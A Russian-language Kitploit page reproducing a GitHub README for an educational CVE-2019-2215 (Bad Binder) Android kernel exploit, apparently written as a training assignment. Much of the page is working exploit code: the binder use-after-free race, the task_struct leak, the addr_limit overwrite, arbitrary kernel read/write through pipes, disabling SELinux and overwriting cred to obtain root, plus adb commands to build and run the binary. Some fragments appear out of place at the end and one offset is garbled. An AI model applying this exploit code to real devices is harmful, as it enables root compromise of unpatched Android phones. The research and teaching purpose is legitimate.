Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
android-badbinder-demo — демонстрация CVE-2019-2215 (Bad Binder) для Android Q | Kitploit
Инструменты/GitHubGitHub/i-redbyte/android-badbinder-demo
Безопасность AndroidПовышение привилегийЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

демонстрация CVE-2019-2215 (Bad Binder) для Android Q

Репозиторий
519 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-2215 (Bad Binder) — Анализ эксплойта

Этот репозиторий — небольшой тестовый проект по исследованию уязвимости
CVE-2019-2215 (Bad Binder) и написанию рабочего прототипа эксплойта под Android с простым графическим интерфейсом на Kotlin/Jetpack Compose.

В README я:

  1. Описываю подготовку среды и запуск прототипа эксплойта.
  2. Разбираю основные этапы эксплуатации CVE-2019-2215 и сопоставляю их с конкретными функциями в C-коде.
  3. Отдельно перечисляю трудности, на которые я наткнулся по пути, и как я их решал.

Готовый APK (GitHub Actions)

В репозитории настроен GitHub Actions workflow, который при каждом push/PR собирает проект командой ./gradlew assembleDebug и публикует готовый badbinder-debug.apk как артефакт.

Скачать его можно так:

  1. Открыть вкладку Actions в репозитории.
  2. Выбрать нужный запуск workflow.
  3. Внизу страницы найти секцию Artifacts и забрать архив badbinder-debug-apk с собранным APK.

Это сделано для удобства, если хочется просто потестировать приложение, не поднимая локальную среду.


Кратко про уязвимость

CVE-2019-2215 — это Use-After-Free (UAF) в IPC-подсистеме Binder ядра Android.

Упрощённо:

  • в ядре существует структура struct binder_thread, которая описывает поток, выполняющий Binder-вызовы;
  • эта структура может быть освобождена (free), но при определённой последовательности вызовов всё ещё остаётся в списках ожидания (waitqueue);
  • позднее ядро пытается работать с уже освобождённой памятью в remove_wait_queue, что открывает классический UAF-сценарий;
  • если аккуратно подобрать окружение и последующие аллокации, можно заставить ядро читать/писать по произвольным адресам, а дальше — получить привилегии ядра, а затем и root в userspace.

Более подробный теоретический разбор я делал по материалам:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. Подготовка среды и запуск прототипа эксплойта

1.1. Выбор и подготовка виртуального устройства

По заданию рекомендовано использовать AVD с образом Android 10.0 (Q) x86_64.
Я сделал следующее:

  1. В Android Studio создал AVD (Pixel-устройство, Android 10 (Q), x86_64).
  2. Убедился, что в образе включён Binder и есть устройство /dev/binder.
  3. Активировал отладку по USB/ADB и проверил доступ к устройству:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

На этом этапе я столкнулся с неприятным фактом:
на данный момент актуальные образы AVD уже поставляются с пропатченным ядром, в котором CVE-2019-2215 закрыта. То есть реально получить root на современном официальном эмуляторе не удастся — эксплойт падает на более поздних стадиях или просто не даёт повышения привилегий.

В итоге я использую AVD как тренажёр для воспроизведения логики эксплойта:

  • я получаю те же последовательности системных вызовов,
  • наблюдаю попытки UAF, утечку адресов и попытку переписать addr_limit,
  • а вот финальное «получение root» на актуальном, пропатченном ядре, естественно, не срабатывает (и это ожидаемо).

Это важный нюанс: весь код и отчёт ниже — учебные, а не «боевые».


1.2. Сборка Android-приложения с нативным эксплойтом

Я сделал небольшое Android-приложение:

  • UI на Kotlin + Jetpack Compose,
  • Native-часть на C через JNI — собственно код эксплойта,
  • общение между ними — через JNI-колбэк, чтобы строки из C-кода улетали прямо в UI.

Основные шаги:

  1. Создал обычный проект в Android Studio (Kotlin, минимальная поддержка Android 10).

  2. Подключил NDK и CMake.

  3. Добавил нативный файл с эксплойтом (тот самый cve-2019-2215.c с функциями leak_task_struct, overwrite_addr_limit, и т.д.).

  4. В CMakeLists.txt добавил сборку libcve-2019-2215.so.

  5. В MainActivity:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. На стороне Kotlin сделал ExploitViewModel, который реализует интерфейс NativeLogger и складывает все сообщения в StateFlow<List<String>>. UI подписан на этот поток и выводит лог в «терминале».

При старте активити я вызываю setNativeLogger(viewModel), чтобы нативный код получил объект, в который можно слать строки.


1.3. Запуск и сценарий использования

  1. Собираю и устанавливаю приложение:

    root@kitploit:~
    ./gradlew installDebug
    
  2. Запускаю AVD и само приложение.

  3. На экране вижу «терминал» и кнопку RUN EXPLOIT.

  4. При нажатии:

    • Kotlin вызывает runNativeExploit() в фоновом потоке.
    • C-код начинает выполнять все этапы эксплойта и логировать шаги.
    • Через JNI-колбэк лог попадает в ViewModel и отображается в Compose-UI.

На реальном уязвимом ядре я ожидал бы в конце увидеть что-то вроде:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

На актуальном эмуляторе Android 10 этого, разумеется, не происходит, но всё остальное — утечка task_struct, попытка переписать addr_limit, вычисление cred и kernel_base — отрабатывает как «сценарий», что и требовалось для задания.


2. Разбор основных этапов эксплойта и сопоставление с кодом

Ниже — логическая схема эксплойта с привязкой к конкретным C-функциям.

2.1. Общий сценарий эксплойта

Высокоуровневый план такой:

  1. Создать UAF на объекте struct binder_thread и использовать его, чтобы утечь адрес task_struct своего процесса (leak_task_struct).
  2. Вторым UAF-циклом и аккуратно подобранными структурами переписать поле addr_limit в task_struct (overwrite_addr_limit) — это снимает ограничение между адресами user-space и kernel-space для дальнейших copy_to_user / copy_from_user.
  3. Используя пайпы, реализовать произвольное чтение/запись любой памяти ядра (arb_read / arb_write).
  4. С помощью этого найти cred текущего процесса и базу ядра (verifying), затем:
    • выключить SELinux (),

Параллельно я интегрировал JNI-логгер, чтобы все эти этапы было видно прямо в UI.


2.2. Этап 1 — утечка адреса task_struct (leak_task_struct)

Ключевая функция:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

Что делает функция:

  1. Фиксирует поток на CPU 0 (sched_setaffinity), чтобы поведение аллокатора ядра было более предсказуемым. Это улучшает стабильность эксплуатации UAF.

  2. Открывает /dev/binder, создаёт epoll-дескриптор:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    Binder-дескриптор регистрируется в epoll:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. Готовит массив struct iovec iov_buffers[IOVEC_N] и выделяет память:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    Здесь важно, чтобы младшие 32 бита адреса были нулями:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    Это соответствует технике из статей по эксплуатации: далее ядро интерпретирует часть наших данных как структуры с указателями, и такая «красиво выровненная» адресация упрощает злоупотребление.

    Затем поля iov_buffers[0xa] и заполняются так, чтобы в момент UAF ядро скопировало в пайп кусок памяти, где лежит указатель на .

Итог: у меня есть адрес task_struct в ядре, что критически важно для последующих шагов.


2.3. Этап 2 — переписывание addr_limit (overwrite_addr_limit)

addr_limit в task_struct определяет, какие адреса процесс вообще может передавать в системные вызовы в качестве user-space указателей. Если переписать его на почти максимальное значение, kernel перестаёт отличать адреса user-space от адресов в своём адресном пространстве — и многие безопасные на первый взгляд операции copy_(to|from)_user превращаются в произвольные чтения/записи ядра.

Функция:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

действует по очень похожему шаблону:

  1. Снова фиксирую CPU-аффинити, открываю /dev/binder, создаю epoll.

  2. Готовлю iov_buffers, но на этот раз схема другая:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0	c].iov_base = read_buffer0;
    iov_buffers[0	c].iov_len = 0x8;
    
  3. Вместо пайпа используется socketpair(AF_UNIX, SOCK_STREAM, ...):

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. Готовлю структуру msghdr для recvmsg:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. В дочернем процессе (после fork()) снова запускается UAF-гонка:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. Этап 3 — произвольное чтение/запись и проверка (arb_read, arb_write, verifying)

После переписывания addr_limit я использую пайпы для превращения обычных операций чтения/записи в возможность читать и писать по ядровым адресам.

Примитивы arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

Аналогично arb_write меняет направление копирования.

Проверка и поиск ключевых структур

Функция verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

Здесь я:

  • читаю из ядра содержимое task_struct;
  • по PID_OFFSET убеждаюсь, что это действительно моя структура;
  • извлекаю указатель на cred и утечку адреса из ядра (kernel_leak);
  • считаю kernel_base с поправкой на жёстко заданное смещение.

2.5. Этап 4 — SELinux и эскалация до root

Финальная часть в runNativeExploit:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • я вычисляю адрес глобальной переменной selinux_enforcing и выставляю его в нулевое/«разрешительное» состояние.

Дальше — переписывание cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

Я буквально заливаю в поля capability и некоторых других полей cred максимальные значения, чтобы выдать процессу полный набор прав.

Последняя проверка:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

На реальном уязвимом ядре здесь я ожидал бы uid=0, на пропатченном образе — логично отключенную эскалацию.


2.6. JNI и логирование в UI

Чтобы видеть всё в реальном времени, я добавил прослойку:

  • JNI_OnLoad сохраняет JavaVM* и PID основного процесса;
  • setNativeLogger принимает Kotlin-объект, реализующий метод onLog(String), и сохраняет его как GlobalRef;
  • android_log/android_log_hex пишут в logcat и вызывают send_to_ui, который доставляет строку в Kotlin, где её забирает ExploitViewModel и показывает в Compose-«терминале».

Важно, что send_to_ui фильтрует дочерние процессы по PID — вызывать JNI из процесса после fork() без exec() небезопасно.


3. Трудности и их решение

3.1. Пропатченные образы AVD

Я столкнулся с тем, что на данный момент нет официальных AVD-образов Android 10 с не пропатченным ядром, в которых CVE-2019-2215 всё ещё присутствует.

Вместо «боевого» получения root я сосредоточился на:

  • воспроизведении логики эксплуатации,
  • разборе UAF-последовательности,
  • визуализации всех шагов в Android-приложении.

При желании этот код можно портировать на реальное устройство со старым не пропатченным ядром, но это уже выходит за рамки задания.


3.2. Жёсткие смещения и зависимость от версии ядра

Мне пришлось явно задать:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
  • смещения для kernel_leak и selinux_enforcing;
  • константу для расчёта kernel_base.

Я осознанно не стал автоматизировать поиск этих значений, чтобы не раздувать объём проекта. В отчёте я опираюсь на то, что это учебный пример под конкретную версию ядра, а не универсальный эксплойт.


3.3. Гонки и стабильность

Использование fork(), epoll_ctl, BINDER_THREAD_EXIT и различных таймингов — это минное поле. Я столкнулся с тем, что без:

  • sched_setaffinity,
  • небольших sleep,
  • и агрессивных assert по пути

эксплойт становится крайне нестабильным.
Я постепенно отладил последовательность так, чтобы на уязвимой конфигурации она была предсказуемой, а на пропатченной — корректно «проваливалась» на последних шагах.


3.4. JNI и fork()

Я также столкнулся с тем, что попытки логировать из дочернего процесса напрямую в JVM приводят к странному поведению.
Пришлось вспомнить правила JNI и добавить проверку PID, чтобы общаться с JVM только из основного процесса.

Компромисс: часть сообщений видно лишь в logcat, а в UI отображается только то, что пришло из родителя. Это меня устроило, потому что в рамках задания важны именно основные контрольные точки, а не каждый отладочный print.


3.5. UI

Бонусом, для более творческой реализации задания, я решил сделать интерфейс, удобный для анализа:

  • я реализовал экран с «консолью» в стиле тёмного терминала и зелёного текста;
  • лог выводится построчно, с автоскроллом к последней записи;
  • разные типы сообщений ([+], [*], [!], [C]) подсвечены разными цветами для удобства чтения;
  • результат выполнения (Success / Failed) отображается отдельным блоком.

Это сильно упрощает восприятие работы нативного кода: вместо сухого logcat я вижу всё в одном месте, прямо в приложении.


Итог

В результате работы над заданием я:

  1. Подготовил AVD-среду и Android-приложение с нативной частью, реализующей эксплойт CVE-2019-2215.
  2. Пошагово разобрал эксплуатацию:
    • UAF в Binder и утечку task_struct,
    • переписывание addr_limit,
    • построение примитивов произвольного чтения/записи,
    • поиск cred, отключение SELinux и попытку эскалации привилегий.
  3. Столкнулся с рядом реальных инженерных проблем (патчи в ядре, зависимости от версии, гонки, особенности JNI) и последовательно их решил или обошёл.

Проект получился компактным, но по сути отражает весь жизненный цикл реальной уязвимости ядра: от теоретического описания и чтения статей до практической реализации и интеграции в живое Android-приложение.

P.S.

Альтернативный способ запуска эксплойта

В директории cve-2019-2215 есть Makefile, который позволяет собрать нативный бинарь (x86_64) и запустить его напрямую в AVD через ADB. Если нужна версия aarch64, её можно собрать отдельно.

  1. Собираем нативный бинарь:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. Копируем бинарь в AVD например в /sdcard/cve-2019-2215
  3. Запускаем ADB shell и выполняем бинарь:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. После успешного выполнения эксплойта можно проверить получение root:
    root@kitploit:~
    id
    
    ожидаемый вывод:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
Скачать инструмент
selinux_enforcing = 0
  • переписать поля cred, чтобы стать root и получить полный набор capability (runNativeExploit).
  • iov_buffers[0xb]
    task_struct
  • Создаёт пайп и задаёт ему размер буфера 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • Далее — классическая UAF-гонка. Я запускаю дочерний процесс:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • Родитель остаётся выполнять дальнейший код.
    • В дочернем процессе epoll_ctl(..., EPOLL_CTL_DEL, ...) приводит к освобождению связанного binder_thread в ядре, но он всё ещё фигурирует в структуре учёта ожиданий — это и есть точка UAF.
  • В родительском процессе я вызываю:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // освобождение binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    На этом этапе, благодаря UAF, writev использует уже освобождённую память как структуры iovec и, по сути, повторно интерпретирует ту же область памяти, где раньше лежал binder_thread, но теперь уже как набор указателей/длин. Частью побочного эффекта становится копирование фрагмента ядровой памяти в наш пайп.

  • Наконец, я читаю из пайпа:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    Смещение 0xe8 подобрано под конкретную версию ядра — это то место, где внутри утёкшего блока памяти находится указатель на task_struct моего процесса.

  • Родитель, как и раньше, освобождает binder_thread и зовёт recvmsg:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    Из-за UAF и хитрой подмены структур ядро в итоге воспринимает task_struct + ADDR_LIMIT_OFFSET как адрес user-буфера и копирует туда содержимое присланной структуры (наше значение 0xfffffffffffffffe), тем самым переписывая addr_limit в task_struct.

  • В лог я пишу:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");